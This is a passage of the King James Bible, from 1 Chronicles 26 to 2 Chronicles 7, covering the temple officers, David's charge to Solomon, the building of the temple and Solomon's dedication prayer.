third, Zechariah +the fourth: all the sons and brethren of Hosah were thirteen. + +26:12 Among these were the divisions of the porters, even among the +chief men, having wards one against another, to minister in the house +of the LORD. + +26:13 And they cast lots, as well the small as the great, according to +the house of their fathers, for every gate. + +26:14 And the lot eastward fell to Shelemiah. Then for Zechariah his +son, a wise counsellor, they cast lots; and his lot came out +northward. + +26:15 To Obededom southward; and to his sons the house of Asuppim. + +26:16 To Shuppim and Hosah the lot came forth westward, with the gate +Shallecheth, by the causeway of the going up, ward against ward. + +26:17 Eastward were six Levites, northward four a day, southward four +a day, and toward Asuppim two and two. + +26:18 At Parbar westward, four at the causeway, and two at Parbar. + +26:19 These are the divisions of the porters among the sons of Kore, +and among the sons of Merari. + +26:20 And of the Levites, Ahijah was over the treasures of the house +of God, and over the treasures of the dedicated things. + +26:21 As concerning the sons of Laadan; the sons of the Gershonite +Laadan, chief fathers, even of Laadan the Gershonite, were Jehieli. + +26:22 The sons of Jehieli; Zetham, and Joel his brother, which were +over the treasures of the house of the LORD. + +26:23 Of the Amramites, and the Izharites, the Hebronites, and the +Uzzielites: 26:24 And Shebuel the son of Gershom, the son of Moses, +was ruler of the treasures. + +26:25 And his brethren by Eliezer; Rehabiah his son, and Jeshaiah his +son, and Joram his son, and Zichri his son, and Shelomith his son. + +26:26 Which Shelomith and his brethren were over all the treasures of +the dedicated things, which David the king, and the chief fathers, the +captains over thousands and hundreds, and the captains of the host, +had dedicated. + +26:27 Out of the spoils won in battles did they dedicate to maintain +the house of the LORD. + +26:28 And all that Samuel the seer, and Saul the son of Kish, and +Abner the son of Ner, and Joab the son of Zeruiah, had dedicated; and +whosoever had dedicated any thing, it was under the hand of Shelomith, +and of his brethren. + +26:29 Of the Izharites, Chenaniah and his sons were for the outward +business over Israel, for officers and judges. + +26:30 And of the Hebronites, Hashabiah and his brethren, men of +valour, a thousand and seven hundred, were officers among them of +Israel on this side Jordan westward in all the business of the LORD, +and in the service of the king. + +26:31 Among the Hebronites was Jerijah the chief, even among the +Hebronites, according to the generations of his fathers. In the +fortieth year of the reign of David they were sought for, and there +were found among them mighty men of valour at Jazer of Gilead. + +26:32 And his brethren, men of valour, were two thousand and seven +hundred chief fathers, whom king David made rulers over the +Reubenites, the Gadites, and the half tribe of Manasseh, for every +matter pertaining to God, and affairs of the king. + +27:1 Now the children of Israel after their number, to wit, the chief +fathers and captains of thousands and hundreds, and their officers +that served the king in any matter of the courses, which came in and +went out month by month throughout all the months of the year, of +every course were twenty and four thousand. + +27:2 Over the first course for the first month was Jashobeam the son +of Zabdiel: and in his course were twenty and four thousand. + +27:3 Of the children of Perez was the chief of all the captains of the +host for the first month. + +27:4 And over the course of the second month was Dodai an Ahohite, and +of his course was Mikloth also the ruler: in his course likewise were +twenty and four thousand. + +27:5 The third captain of the host for the third month was Benaiah the +son of Jehoiada, a chief priest: and in his course were twenty and +four thousand. + +27:6 This is that Benaiah, who was mighty among the thirty, and above +the thirty: and in his course was Ammizabad his son. + +27:7 The fourth captain for the fourth month was Asahel the brother of +Joab, and Zebadiah his son after him: and in his course were twenty +and four thousand. + +27:8 The fifth captain for the fifth month was Shamhuth the Izrahite: +and in his course were twenty and four thousand. + +27:9 The sixth captain for the sixth month was Ira the son of Ikkesh +the Tekoite: and in his course were twenty and four thousand. + +27:10 The seventh captain for the seventh month was Helez the +Pelonite, of the children of Ephraim: and in his course were twenty +and four thousand. + +27:11 The eighth captain for the eighth month was Sibbecai the +Hushathite, of the Zarhites: and in his course were twenty and four +thousand. + +27:12 The ninth captain for the ninth month was Abiezer the +Anetothite, of the Benjamites: and in his course were twenty and four +thousand. + +27:13 The tenth captain for the tenth month was Maharai the +Netophathite, of the Zarhites: and in his course were twenty and four +thousand. + +27:14 The eleventh captain for the eleventh month was Benaiah the +Pirathonite, of the children of Ephraim: and in his course were twenty +and four thousand. + +27:15 The twelfth captain for the twelfth month was Heldai the +Netophathite, of Othniel: and in his course were twenty and four +thousand. + +27:16 Furthermore over the tribes of Israel: the ruler of the +Reubenites was Eliezer the son of Zichri: of the Simeonites, +Shephatiah the son of Maachah: 27:17 Of the Levites, Hashabiah the son +of Kemuel: of the Aaronites, Zadok: 27:18 Of Judah, Elihu, one of the +brethren of David: of Issachar, Omri the son of Michael: 27:19 Of +Zebulun, Ishmaiah the son of Obadiah: of Naphtali, Jerimoth the son of +Azriel: 27:20 Of the children of Ephraim, Hoshea the son of Azaziah: +of the half tribe of Manasseh, Joel the son of Pedaiah: 27:21 Of the +half tribe of Manasseh in Gilead, Iddo the son of Zechariah: of +Benjamin, Jaasiel the son of Abner: 27:22 Of Dan, Azareel the son of +Jeroham. These were the princes of the tribes of Israel. + +27:23 But David took not the number of them from twenty years old and +under: because the LORD had said he would increase Israel like to the +stars of the heavens. + +27:24 Joab the son of Zeruiah began to number, but he finished not, +because there fell wrath for it against Israel; neither was the number +put in the account of the chronicles of king David. + +27:25 And over the king's treasures was Azmaveth the son of Adiel: and +over the storehouses in the fields, in the cities, and in the +villages, and in the castles, was Jehonathan the son of Uzziah: 27:26 +And over them that did the work of the field for tillage of the ground +was Ezri the son of Chelub: 27:27 And over the vineyards was Shimei +the Ramathite: over the increase of the vineyards for the wine cellars +was Zabdi the Shiphmite: 27:28 And over the olive trees and the +sycomore trees that were in the low plains was Baalhanan the Gederite: +and over the cellars of oil was Joash: 27:29 And over the herds that +fed in Sharon was Shitrai the Sharonite: and over the herds that were +in the valleys was Shaphat the son of Adlai: 27:30 Over the camels +also was Obil the Ishmaelite: and over the asses was Jehdeiah the +Meronothite: 27:31 And over the flocks was Jaziz the Hagerite. All +these were the rulers of the substance which was king David's. + +27:32 Also Jonathan David's uncle was a counsellor, a wise man, and a +scribe: and Jehiel the son of Hachmoni was with the king's sons: 27:33 +And Ahithophel was the king's counsellor: and Hushai the Archite was +the king's companion: 27:34 And after Ahithophel was Jehoiada the son +of Benaiah, and Abiathar: and the general of the king's army was Joab. + +28:1 And David assembled all the princes of Israel, the princes of the +tribes, and the captains of the companies that ministered to the king +by course, and the captains over the thousands, and captains over the +hundreds, and the stewards over all the substance and possession of +the king, and of his sons, with the officers, and with the mighty men, +and with all the valiant men, unto Jerusalem. + +28:2 Then David the king stood up upon his feet, and said, Hear me, my +brethren, and my people: As for me, I had in mine heart to build an +house of rest for the ark of the covenant of the LORD, and for the +footstool of our God, and had made ready for the building: 28:3 But +God said unto me, Thou shalt not build an house for my name, because +thou hast been a man of war, and hast shed blood. + +28:4 Howbeit the LORD God of Israel chose me before all the house of +my father to be king over Israel for ever: for he hath chosen Judah to +be the ruler; and of the house of Judah, the house of my father; and +among the sons of my father he liked me to make me king over all +Israel: 28:5 And of all my sons, (for the LORD hath given me many +sons,) he hath chosen Solomon my son to sit upon the throne of the +kingdom of the LORD over Israel. + +28:6 And he said unto me, Solomon thy son, he shall build my house and +my courts: for I have chosen him to be my son, and I will be his +father. + +28:7 Moreover I will establish his kingdom for ever, if he be constant +to do my commandments and my judgments, as at this day. + +28:8 Now therefore in the sight of all Israel the congregation of the +LORD, and in the audience of our God, keep and seek for all the +commandments of the LORD your God: that ye may possess this good land, +and leave it for an inheritance for your children after you for ever. + +28:9 And thou, Solomon my son, know thou the God of thy father, and +serve him with a perfect heart and with a willing mind: for the LORD +searcheth all hearts, and understandeth all the imaginations of the +thoughts: if thou seek him, he will be found of thee; but if thou +forsake him, he will cast thee off for ever. + +28:10 Take heed now; for the LORD hath chosen thee to build an house +for the sanctuary: be strong, and do it. + +28:11 Then David gave to Solomon his son the pattern of the porch, and +of the houses thereof, and of the treasuries thereof, and of the upper +chambers thereof, and of the inner parlours thereof, and of the place +of the mercy seat, 28:12 And the pattern of all that he had by the +spirit, of the courts of the house of the LORD, and of all the +chambers round about, of the treasuries of the house of God, and of +the treasuries of the dedicated things: 28:13 Also for the courses of +the priests and the Levites, and for all the work of the service of +the house of the LORD, and for all the vessels of service in the house +of the LORD. + +28:14 He gave of gold by weight for things of gold, for all +instruments of all manner of service; silver also for all instruments +of silver by weight, for all instruments of every kind of service: +28:15 Even the weight for the candlesticks of gold, and for their +lamps of gold, by weight for every candlestick, and for the lamps +thereof: and for the candlesticks of silver by weight, both for the +candlestick, and also for the lamps thereof, according to the use of +every candlestick. + +28:16 And by weight he gave gold for the tables of shewbread, for +every table; and likewise silver for the tables of silver: 28:17 Also +pure gold for the fleshhooks, and the bowls, and the cups: and for the +golden basons he gave gold by weight for every bason; and likewise +silver by weight for every bason of silver: 28:18 And for the altar of +incense refined gold by weight; and gold for the pattern of the +chariot of the cherubims, that spread out their wings, and covered the +ark of the covenant of the LORD. + +28:19 All this, said David, the LORD made me understand in writing by +his hand upon me, even all the works of this pattern. + +28:20 And David said to Solomon his son, Be strong and of good +courage, and do it: fear not, nor be dismayed: for the LORD God, even +my God, will be with thee; he will not fail thee, nor forsake thee, +until thou hast finished all the work for the service of the house of +the LORD. + +28:21 And, behold, the courses of the priests and the Levites, even +they shall be with thee for all the service of the house of God: and +there shall be with thee for all manner of workmanship every willing +skilful man, for any manner of service: also the princes and all the +people will be wholly at thy commandment. + +29:1 Furthermore David the king said unto all the congregation, +Solomon my son, whom alone God hath chosen, is yet young and tender, +and the work is great: for the palace is not for man, but for the LORD +God. + +29:2 Now I have prepared with all my might for the house of my God the +gold for things to be made of gold, and the silver for things of +silver, and the brass for things of brass, the iron for things of +iron, and wood for things of wood; onyx stones, and stones to be set, +glistering stones, and of divers colours, and all manner of precious +stones, and marble stones in abundance. + +29:3 Moreover, because I have set my affection to the house of my God, +I have of mine own proper good, of gold and silver, which I have given +to the house of my God, over and above all that I have prepared for +the holy house. + +29:4 Even three thousand talents of gold, of the gold of Ophir, and +seven thousand talents of refined silver, to overlay the walls of the +houses withal: 29:5 The gold for things of gold, and the silver for +things of silver, and for all manner of work to be made by the hands +of artificers. And who then is willing to consecrate his service this +day unto the LORD? 29:6 Then the chief of the fathers and princes of +the tribes of Israel and the captains of thousands and of hundreds, +with the rulers of the king's work, offered willingly, 29:7 And gave +for the service of the house of God of gold five thousand talents and +ten thousand drams, and of silver ten thousand talents, and of brass +eighteen thousand talents, and one hundred thousand talents of iron. + +29:8 And they with whom precious stones were found gave them to the +treasure of the house of the LORD, by the hand of Jehiel the +Gershonite. + +29:9 Then the people rejoiced, for that they offered willingly, +because with perfect heart they offered willingly to the LORD: and +David the king also rejoiced with great joy. + +29:10 Wherefore David blessed the LORD before all the congregation: +and David said, Blessed be thou, LORD God of Israel our father, for +ever and ever. + +29:11 Thine, O LORD is the greatness, and the power, and the glory, +and the victory, and the majesty: for all that is in the heaven and in +the earth is thine; thine is the kingdom, O LORD, and thou art exalted +as head above all. + +29:12 Both riches and honour come of thee, and thou reignest over all; +and in thine hand is power and might; and in thine hand it is to make +great, and to give strength unto all. + +29:13 Now therefore, our God, we thank thee, and praise thy glorious +name. + +29:14 But who am I, and what is my people, that we should be able to +offer so willingly after this sort? for all things come of thee, and +of thine own have we given thee. + +29:15 For we are strangers before thee, and sojourners, as were all +our fathers: our days on the earth are as a shadow, and there is none +abiding. + +29:16 O LORD our God, all this store that we have prepared to build +thee an house for thine holy name cometh of thine hand, and is all +thine own. + +29:17 I know also, my God, that thou triest the heart, and hast +pleasure in uprightness. As for me, in the uprightness of mine heart I +have willingly offered all these things: and now have I seen with joy +thy people, which are present here, to offer willingly unto thee. + +29:18 O LORD God of Abraham, Isaac, and of Israel, our fathers, keep +this for ever in the imagination of the thoughts of the heart of thy +people, and prepare their heart unto thee: 29:19 And give unto Solomon +my son a perfect heart, to keep thy commandments, thy testimonies, and +thy statutes, and to do all these things, and to build the palace, for +the which I have made provision. + +29:20 And David said to all the congregation, Now bless the LORD your +God. + +And all the congregation blessed the LORD God of their fathers, and +bowed down their heads, and worshipped the LORD, and the king. + +29:21 And they sacrificed sacrifices unto the LORD, and offered burnt +offerings unto the LORD, on the morrow after that day, even a thousand +bullocks, a thousand rams, and a thousand lambs, with their drink +offerings, and sacrifices in abundance for all Israel: 29:22 And did +eat and drink before the LORD on that day with great gladness. And +they made Solomon the son of David king the second time, and anointed +him unto the LORD to be the chief governor, and Zadok to be priest. + +29:23 Then Solomon sat on the throne of the LORD as king instead of +David his father, and prospered; and all Israel obeyed him. + +29:24 And all the princes, and the mighty men, and all the sons +likewise of king David, submitted themselves unto Solomon the king. + +29:25 And the LORD magnified Solomon exceedingly in the sight of all +Israel, and bestowed upon him such royal majesty as had not been on +any king before him in Israel. + +29:26 Thus David the son of Jesse reigned over all Israel. + +29:27 And the time that he reigned over Israel was forty years; seven +years reigned he in Hebron, and thirty and three years reigned he in +Jerusalem. + +29:28 And he died in a good old age, full of days, riches, and honour: +and Solomon his son reigned in his stead. + +29:29 Now the acts of David the king, first and last, behold, they are +written in the book of Samuel the seer, and in the book of Nathan the +prophet, and in the book of Gad the seer, 29:30 With all his reign and +his might, and the times that went over him, and over Israel, and over +all the kingdoms of the countries. + + + + +The Second Book of the Chronicles + + +1:1 And Solomon the son of David was strengthened in his kingdom, and +the LORD his God was with him, and magnified him exceedingly. + +1:2 Then Solomon spake unto all Israel, to the captains of thousands +and of hundreds, and to the judges, and to every governor in all +Israel, the chief of the fathers. + +1:3 So Solomon, and all the congregation with him, went to the high +place that was at Gibeon; for there was the tabernacle of the +congregation of God, which Moses the servant of the LORD had made in +the wilderness. + +1:4 But the ark of God had David brought up from Kirjathjearim to the +place which David had prepared for it: for he had pitched a tent for +it at Jerusalem. + +1:5 Moreover the brasen altar, that Bezaleel the son of Uri, the son +of Hur, had made, he put before the tabernacle of the LORD: and +Solomon and the congregation sought unto it. + +1:6 And Solomon went up thither to the brasen altar before the LORD, +which was at the tabernacle of the congregation, and offered a +thousand burnt offerings upon it. + +1:7 In that night did God appear unto Solomon, and said unto him, Ask +what I shall give thee. + +1:8 And Solomon said unto God, Thou hast shewed great mercy unto David +my father, and hast made me to reign in his stead. + +1:9 Now, O LORD God, let thy promise unto David my father be +established: for thou hast made me king over a people like the dust of +the earth in multitude. + +1:10 Give me now wisdom and knowledge, that I may go out and come in +before this people: for who can judge this thy people, that is so +great? 1:11 And God said to Solomon, Because this was in thine heart, +and thou hast not asked riches, wealth, or honour, nor the life of +thine enemies, neither yet hast asked long life; but hast asked wisdom +and knowledge for thyself, that thou mayest judge my people, over whom +I have made thee king: 1:12 Wisdom and knowledge is granted unto thee; +and I will give thee riches, and wealth, and honour, such as none of +the kings have had that have been before thee, neither shall there any +after thee have the like. + +1:13 Then Solomon came from his journey to the high place that was at +Gibeon to Jerusalem, from before the tabernacle of the congregation, +and reigned over Israel. + +1:14 And Solomon gathered chariots and horsemen: and he had a thousand +and four hundred chariots, and twelve thousand horsemen, which he +placed in the chariot cities, and with the king at Jerusalem. + +1:15 And the king made silver and gold at Jerusalem as plenteous as +stones, and cedar trees made he as the sycomore trees that are in the +vale for abundance. + +1:16 And Solomon had horses brought out of Egypt, and linen yarn: the +king's merchants received the linen yarn at a price. + +1:17 And they fetched up, and brought forth out of Egypt a chariot for +six hundred shekels of silver, and an horse for an hundred and fifty: +and so brought they out horses for all the kings of the Hittites, and +for the kings of Syria, by their means. + +2:1 And Solomon determined to build an house for the name of the LORD, +and an house for his kingdom. + +2:2 And Solomon told out threescore and ten thousand men to bear +burdens, and fourscore thousand to hew in the mountain, and three +thousand and six hundred to oversee them. + +2:3 And Solomon sent to Huram the king of Tyre, saying, As thou didst +deal with David my father, and didst send him cedars to build him an +house to dwell therein, even so deal with me. + +2:4 Behold, I build an house to the name of the LORD my God, to +dedicate it to him, and to burn before him sweet incense, and for the +continual shewbread, and for the burnt offerings morning and evening, +on the sabbaths, and on the new moons, and on the solemn feasts of the +LORD our God. This is an ordinance for ever to Israel. + +2:5 And the house which I build is great: for great is our God above +all gods. + +2:6 But who is able to build him an house, seeing the heaven and +heaven of heavens cannot contain him? who am I then, that I should +build him an house, save only to burn sacrifice before him? 2:7 Send +me now therefore a man cunning to work in gold, and in silver, and in +brass, and in iron, and in purple, and crimson, and blue, and that can +skill to grave with the cunning men that are with me in Judah and in +Jerusalem, whom David my father did provide. + +2:8 Send me also cedar trees, fir trees, and algum trees, out of +Lebanon: for I know that thy servants can skill to cut timber in +Lebanon; and, behold, my servants shall be with thy servants, 2:9 Even +to prepare me timber in abundance: for the house which I am about to +build shall be wonderful great. + +2:10 And, behold, I will give to thy servants, the hewers that cut +timber, twenty thousand measures of beaten wheat, and twenty thousand +measures of barley, and twenty thousand baths of wine, and twenty +thousand baths of oil. + +2:11 Then Huram the king of Tyre answered in writing, which he sent to +Solomon, Because the LORD hath loved his people, he hath made thee +king over them. + +2:12 Huram said moreover, Blessed be the LORD God of Israel, that made +heaven and earth, who hath given to David the king a wise son, endued +with prudence and understanding, that might build an house for the +LORD, and an house for his kingdom. + +2:13 And now I have sent a cunning man, endued with understanding, of +Huram my father's, 2:14 The son of a woman of the daughters of Dan, +and his father was a man of Tyre, skilful to work in gold, and in +silver, in brass, in iron, in stone, and in timber, in purple, in +blue, and in fine linen, and in crimson; also to grave any manner of +graving, and to find out every device which shall be put to him, with +thy cunning men, and with the cunning men of my lord David thy father. + +2:15 Now therefore the wheat, and the barley, the oil, and the wine, +which my lord hath spoken of, let him send unto his servants: 2:16 And +we will cut wood out of Lebanon, as much as thou shalt need: and we +will bring it to thee in floats by sea to Joppa; and thou shalt carry +it up to Jerusalem. + +2:17 And Solomon numbered all the strangers that were in the land of +Israel, after the numbering wherewith David his father had numbered +them; and they were found an hundred and fifty thousand and three +thousand and six hundred. + +2:18 And he set threescore and ten thousand of them to be bearers of +burdens, and fourscore thousand to be hewers in the mountain, and +three thousand and six hundred overseers to set the people a work. + +3:1 Then Solomon began to build the house of the LORD at Jerusalem in +mount Moriah, where the Lord appeared unto David his father, in the +place that David had prepared in the threshingfloor of Ornan the +Jebusite. + +3:2 And he began to build in the second day of the second month, in +the fourth year of his reign. + +3:3 Now these are the things wherein Solomon was instructed for the +building of the house of God. The length by cubits after the first +measure was threescore cubits, and the breadth twenty cubits. + +3:4 And the porch that was in the front of the house, the length of it +was according to the breadth of the house, twenty cubits, and the +height was an hundred and twenty: and he overlaid it within with pure +gold. + +3:5 And the greater house he cieled with fir tree, which he overlaid +with fine gold, and set thereon palm trees and chains. + +3:6 And he garnished the house with precious stones for beauty: and +the gold was gold of Parvaim. + +3:7 He overlaid also the house, the beams, the posts, and the walls +thereof, and the doors thereof, with gold; and graved cherubims on the +walls. + +3:8 And he made the most holy house, the length whereof was according +to the breadth of the house, twenty cubits, and the breadth thereof +twenty cubits: and he overlaid it with fine gold, amounting to six +hundred talents. + +3:9 And the weight of the nails was fifty shekels of gold. And he +overlaid the upper chambers with gold. + +3:10 And in the most holy house he made two cherubims of image work, +and overlaid them with gold. + +3:11 And the wings of the cherubims were twenty cubits long: one wing +of the one cherub was five cubits, reaching to the wall of the house: +and the other wing was likewise five cubits, reaching to the wing of +the other cherub. + +3:12 And one wing of the other cherub was five cubits, reaching to the +wall of the house: and the other wing was five cubits also, joining to +the wing of the other cherub. + +3:13 The wings of these cherubims spread themselves forth twenty +cubits: and they stood on their feet, and their faces were inward. + +3:14 And he made the vail of blue, and purple, and crimson, and fine +linen, and wrought cherubims thereon. + +3:15 Also he made before the house two pillars of thirty and five +cubits high, and the chapiter that was on the top of each of them was +five cubits. + +3:16 And he made chains, as in the oracle, and put them on the heads +of the pillars; and made an hundred pomegranates, and put them on the +chains. + +3:17 And he reared up the pillars before the temple, one on the right +hand, and the other on the left; and called the name of that on the +right hand Jachin, and the name of that on the left Boaz. + +4:1 Moreover he made an altar of brass, twenty cubits the length +thereof, and twenty cubits the breadth thereof, and ten cubits the +height thereof. + +4:2 Also he made a molten sea of ten cubits from brim to brim, round +in compass, and five cubits the height thereof; and a line of thirty +cubits did compass it round about. + +4:3 And under it was the similitude of oxen, which did compass it +round about: ten in a cubit, compassing the sea round about. Two rows +of oxen were cast, when it was cast. + +4:4 It stood upon twelve oxen, three looking toward the north, and +three looking toward the west, and three looking toward the south, and +three looking toward the east: and the sea was set above upon them, +and all their hinder parts were inward. + +4:5 And the thickness of it was an handbreadth, and the brim of it +like the work of the brim of a cup, with flowers of lilies; and it +received and held three thousand baths. + +4:6 He made also ten lavers, and put five on the right hand, and five +on the left, to wash in them: such things as they offered for the +burnt offering they washed in them; but the sea was for the priests to +wash in. + +4:7 And he made ten candlesticks of gold according to their form, and +set them in the temple, five on the right hand, and five on the left. + +4:8 He made also ten tables, and placed them in the temple, five on +the right side, and five on the left. And he made an hundred basons of +gold. + +4:9 Furthermore he made the court of the priests, and the great court, +and doors for the court, and overlaid the doors of them with brass. + +4:10 And he set the sea on the right side of the east end, over +against the south. + +4:11 And Huram made the pots, and the shovels, and the basons. And +Huram finished the work that he was to make for king Solomon for the +house of God; 4:12 To wit, the two pillars, and the pommels, and the +chapiters which were on the top of the two pillars, and the two +wreaths to cover the two pommels of the chapiters which were on the +top of the pillars; 4:13 And four hundred pomegranates on the two +wreaths; two rows of pomegranates on each wreath, to cover the two +pommels of the chapiters which were upon the pillars. + +4:14 He made also bases, and lavers made he upon the bases; 4:15 One +sea, and twelve oxen under it. + +4:16 The pots also, and the shovels, and the fleshhooks, and all their +instruments, did Huram his father make to king Solomon for the house +of the LORD of bright brass. + +4:17 In the plain of Jordan did the king cast them, in the clay ground +between Succoth and Zeredathah. + +4:18 Thus Solomon made all these vessels in great abundance: for the +weight of the brass could not be found out. + +4:19 And Solomon made all the vessels that were for the house of God, +the golden altar also, and the tables whereon the shewbread was set; +4:20 Moreover the candlesticks with their lamps, that they should burn +after the manner before the oracle, of pure gold; 4:21 And the +flowers, and the lamps, and the tongs, made he of gold, and that +perfect gold; 4:22 And the snuffers, and the basons, and the spoons, +and the censers, of pure gold: and the entry of the house, the inner +doors thereof for the most holy place, and the doors of the house of +the temple, were of gold. + +5:1 Thus all the work that Solomon made for the house of the LORD was +finished: and Solomon brought in all the things that David his father +had dedicated; and the silver, and the gold, and all the instruments, +put he among the treasures of the house of God. + +5:2 Then Solomon assembled the elders of Israel, and all the heads of +the tribes, the chief of the fathers of the children of Israel, unto +Jerusalem, to bring up the ark of the covenant of the LORD out of the +city of David, which is Zion. + +5:3 Wherefore all the men of Israel assembled themselves unto the king +in the feast which was in the seventh month. + +5:4 And all the elders of Israel came; and the Levites took up the +ark. + +5:5 And they brought up the ark, and the tabernacle of the +congregation, and all the holy vessels that were in the tabernacle, +these did the priests and the Levites bring up. + +5:6 Also king Solomon, and all the congregation of Israel that were +assembled unto him before the ark, sacrificed sheep and oxen, which +could not be told nor numbered for multitude. + +5:7 And the priests brought in the ark of the covenant of the LORD +unto his place, to the oracle of the house, into the most holy place, +even under the wings of the cherubims: 5:8 For the cherubims spread +forth their wings over the place of the ark, and the cherubims covered +the ark and the staves thereof above. + +5:9 And they drew out the staves of the ark, that the ends of the +staves were seen from the ark before the oracle; but they were not +seen without. And there it is unto this day. + +5:10 There was nothing in the ark save the two tables which Moses put +therein at Horeb, when the LORD made a covenant with the children of +Israel, when they came out of Egypt. + +5:11 And it came to pass, when the priests were come out of the holy +place: (for all the priests that were present were sanctified, and did +not then wait by course: 5:12 Also the Levites which were the singers, +all of them of Asaph, of Heman, of Jeduthun, with their sons and their +brethren, being arrayed in white linen, having cymbals and psalteries +and harps, stood at the east end of the altar, and with them an +hundred and twenty priests sounding with trumpets:) 5:13 It came even +to pass, as the trumpeters and singers were as one, to make one sound +to be heard in praising and thanking the LORD; and when they lifted up +their voice with the trumpets and cymbals and instruments of musick, +and praised the LORD, saying, For he is good; for his mercy endureth +for ever: that then the house was filled with a cloud, even the house +of the LORD; 5:14 So that the priests could not stand to minister by +reason of the cloud: for the glory of the LORD had filled the house of +God. + +6:1 Then said Solomon, The LORD hath said that he would dwell in the +thick darkness. + +6:2 But I have built an house of habitation for thee, and a place for +thy dwelling for ever. + +6:3 And the king turned his face, and blessed the whole congregation +of Israel: and all the congregation of Israel stood. + +6:4 And he said, Blessed be the LORD God of Israel, who hath with his +hands fulfilled that which he spake with his mouth to my father David, +saying, 6:5 Since the day that I brought forth my people out of the +land of Egypt I chose no city among all the tribes of Israel to build +an house in, that my name might be there; neither chose I any man to +be a ruler over my people Israel: 6:6 But I have chosen Jerusalem, +that my name might be there; and have chosen David to be over my +people Israel. + +6:7 Now it was in the heart of David my father to build an house for +the name of the LORD God of Israel. + +6:8 But the LORD said to David my father, Forasmuch as it was in thine +heart to build an house for my name, thou didst well in that it was in +thine heart: 6:9 Notwithstanding thou shalt not build the house; but +thy son which shall come forth out of thy loins, he shall build the +house for my name. + +6:10 The LORD therefore hath performed his word that he hath spoken: +for I am risen up in the room of David my father, and am set on the +throne of Israel, as the LORD promised, and have built the house for +the name of the LORD God of Israel. + +6:11 And in it have I put the ark, wherein is the covenant of the +LORD, that he made with the children of Israel. + +6:12 And he stood before the altar of the LORD in the presence of all +the congregation of Israel, and spread forth his hands: 6:13 For +Solomon had made a brasen scaffold of five cubits long, and five +cubits broad, and three cubits high, and had set it in the midst of +the court: and upon it he stood, and kneeled down upon his knees +before all the congregation of Israel, and spread forth his hands +toward heaven. + +6:14 And said, O LORD God of Israel, there is no God like thee in the +heaven, nor in the earth; which keepest covenant, and shewest mercy +unto thy servants, that walk before thee with all their hearts: 6:15 +Thou which hast kept with thy servant David my father that which thou +hast promised him; and spakest with thy mouth, and hast fulfilled it +with thine hand, as it is this day. + +6:16 Now therefore, O LORD God of Israel, keep with thy servant David +my father that which thou hast promised him, saying, There shall not +fail thee a man in my sight to sit upon the throne of Israel; yet so +that thy children take heed to their way to walk in my law, as thou +hast walked before me. + +6:17 Now then, O LORD God of Israel, let thy word be verified, which +thou hast spoken unto thy servant David. + +6:18 But will God in very deed dwell with men on the earth? behold, +heaven and the heaven of heavens cannot contain thee; how much less +this house which I have built! 6:19 Have respect therefore to the +prayer of thy servant, and to his supplication, O LORD my God, to +hearken unto the cry and the prayer which thy servant prayeth before +thee: 6:20 That thine eyes may be open upon this house day and night, +upon the place whereof thou hast said that thou wouldest put thy name +there; to hearken unto the prayer which thy servant prayeth toward +this place. + +6:21 Hearken therefore unto the supplications of thy servant, and of +thy people Israel, which they shall make toward this place: hear thou +from thy dwelling place, even from heaven; and when thou hearest, +forgive. + +6:22 If a man sin against his neighbour, and an oath be laid upon him +to make him swear, and the oath come before thine altar in this house; +6:23 Then hear thou from heaven, and do, and judge thy servants, by +requiting the wicked, by recompensing his way upon his own head; and +by justifying the righteous, by giving him according to his +righteousness. + +6:24 And if thy people Israel be put to the worse before the enemy, +because they have sinned against thee; and shall return and confess +thy name, and pray and make supplication before thee in this house; +6:25 Then hear thou from the heavens, and forgive the sin of thy +people Israel, and bring them again unto the land which thou gavest to +them and to their fathers. + +6:26 When the heaven is shut up, and there is no rain, because they +have sinned against thee; yet if they pray toward this place, and +confess thy name, and turn from their sin, when thou dost afflict +them; 6:27 Then hear thou from heaven, and forgive the sin of thy +servants, and of thy people Israel, when thou hast taught them the +good way, wherein they should walk; and send rain upon thy land, which +thou hast given unto thy people for an inheritance. + +6:28 If there be dearth in the land, if there be pestilence, if there +be blasting, or mildew, locusts, or caterpillers; if their enemies +besiege them in the cities of their land; whatsoever sore or +whatsoever sickness there be: 6:29 Then what prayer or what +supplication soever shall be made of any man, or of all thy people +Israel, when every one shall know his own sore and his own grief, and +shall spread forth his hands in this house: 6:30 Then hear thou from +heaven thy dwelling place, and forgive, and render unto every man +according unto all his ways, whose heart thou knowest; (for thou only +knowest the hearts of the children of men:) 6:31 That they may fear +thee, to walk in thy ways, so long as they live in the land which thou +gavest unto our fathers. + +6:32 Moreover concerning the stranger, which is not of thy people +Israel, but is come from a far country for thy great name's sake, and +thy mighty hand, and thy stretched out arm; if they come and pray in +this house; 6:33 Then hear thou from the heavens, even from thy +dwelling place, and do according to all that the stranger calleth to +thee for; that all people of the earth may know thy name, and fear +thee, as doth thy people Israel, and may know that this house which I +have built is called by thy name. + +6:34 If thy people go out to war against their enemies by the way that +thou shalt send them, and they pray unto thee toward this city which +thou hast chosen, and the house which I have built for thy name; 6:35 +Then hear thou from the heavens their prayer and their supplication, +and maintain their cause. + +6:36 If they sin against thee, (for there is no man which sinneth +not,) and thou be angry with them, and deliver them over before their +enemies, and they carry them away captives unto a land far off or +near; 6:37 Yet if they bethink themselves in the land whither they are +carried captive, and turn and pray unto thee in the land of their +captivity, saying, We have sinned, we have done amiss, and have dealt +wickedly; 6:38 If they return to thee with all their heart and with +all their soul in the land of their captivity, whither they have +carried them captives, and pray toward their land, which thou gavest +unto their fathers, and toward the city which thou hast chosen, and +toward the house which I have built for thy name: 6:39 Then hear thou +from the heavens, even from thy dwelling place, their prayer and their +supplications, and maintain their cause, and forgive thy people which +have sinned against thee. + +6:40 Now, my God, let, I beseech thee, thine eyes be open, and let +thine ears be attent unto the prayer that is made in this place. + +6:41 Now therefore arise, O LORD God, into thy resting place, thou, +and the ark of thy strength: let thy priests, O LORD God, be clothed +with salvation, and let thy saints rejoice in goodness. + +6:42 O LORD God, turn not away the face of thine anointed: remember +the mercies of David thy servant. + +7:1 Now when Solomon had made an end of praying, the fire came down +from heaven, and consumed the burnt offering and the sacrifices; and +the glory of the LORD filled the house. + +7:2 And the priests could not enter into the house of the LORD, +because the glory of the LORD had filled the LORD's house. + +7:3 And when all the children of Israel saw how the fire came down, +and the glory of the LORD upon the house, they bowed themselves with +their faces to the ground upon the pavement, and worshipped, and +praised the LORD, saying, For he is good; for his mercy endureth for +ever. + +7:4 Then the king and all the people offered sacrifices before the +LORD. + +7:5 And king Solomon offered a sacrifice of twenty and two thousand +oxen, and an hundred and twenty thousand sheep: so the king and all +the people dedicated the house of God. + +7:6 And the priests waited on their offices: the Levites also with +instruments of musick of the LORD, which David the king had made to +praise the 